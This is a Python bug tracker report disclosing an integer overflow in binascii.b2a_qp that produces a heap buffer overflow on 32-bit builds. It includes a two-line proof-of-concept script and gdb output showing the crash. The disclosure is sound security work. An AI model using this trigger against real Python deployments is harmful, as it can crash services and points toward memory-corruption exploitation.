New submission from Benjamin Peterson:
Thomas E Hybel reports:
This vulnerability resides in /Modules/binascii.c in the function
binascii_b2a_qp_impl. The problem is that the integer variable "odatalen" can
overflow to become a small number.
The function binascii_b2a_qp_impl qp-encodes binary data. First it computes the
output string's length in the variable "odatalen":
/* First, scan to see how many characters need to be encoded */
in = 0;
while (in < datalen) {
if ((databuf[in] > 126) || ... )
{
...
odatalen += 3;
in++;
}
...
}
As we can see, each input character can result in more than three
output-characters. Then we allocate the output string:
odata = (unsigned char *) PyMem_Malloc(odatalen);
And finally we encode the input-string and write the result into odata.
If our string is so large that "odatalen" will wrap around and become a small
number, then the odata buffer will be too small to hold the data. Our input is
then copied into this too-small buffer. So the integer overflow results in a
heap buffer overflow.
Here's a proof-of-concept script:
--- begin script ---
import binascii
binascii.b2a_qp(b"\x80"*0x531dec0e) # this number gives odatalen=2
--- end script ---
Note that this script assumes a 32-bit system where the "odatalen" variable will
be 4 bytes wide. When run on Python-3.5.2, 32-bits, we get a segfault:
(gdb) r ../poc3.py
Starting program: /home/ubuntu32/python3/Python-3.5.2/python ../poc3.py
Breakpoint 1, binascii_b2a_qp_impl (module=module@entry=0xb7c370f4,
data=data@entry=0xbffff6e4, quotetabs=0x0, istext=0x1, header=0x0)
at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1448
1448 odata = (unsigned char *) PyMem_Malloc(odatalen);
(gdb) p odatalen
$27 = 0x2
(gdb) p datalen
$28 = 0x531dec0e
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xb7fd1f63 in to_hex (ch=0x80, s=s@entry=0x83c5fff "")
at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1333
1333 s[1] = "0123456789ABCDEF"[uvalue % 16];
(gdb) bt
#0 0xb7fd1f63 in to_hex (ch=0x80, s=s@entry=0x83c5fff "")
at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1333
#1 0xb7fd22fa in binascii_b2a_qp_impl (module=module@entry=0xb7c370f4,
data=data@entry=0xbffff6e4, quotetabs=0x0, istext=0x1, header=0x0)
at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1476
#2 0xb7fd2510 in binascii_b2a_qp (module=module@entry=0xb7c370f4,
args=args@entry=0xb7cbbb5c, kwargs=kwargs@entry=0x0)
at /home/ubuntu32/python3/Python-3.5.2/Modules/clinic/binascii.c.h:510
#3 0x080e0ef4 in PyCFunction_Call (func=func@entry=0xb7c37534,
args=args@entry=0xb7cbbb5c, kwds=kwds@entry=0x0)
at Objects/methodobject.c:98
----------
components: Library (Lib)
messages: 272634
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: integer overflow in binascii.b2a_qp
type: security
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6
_______________________________________
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue27760>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
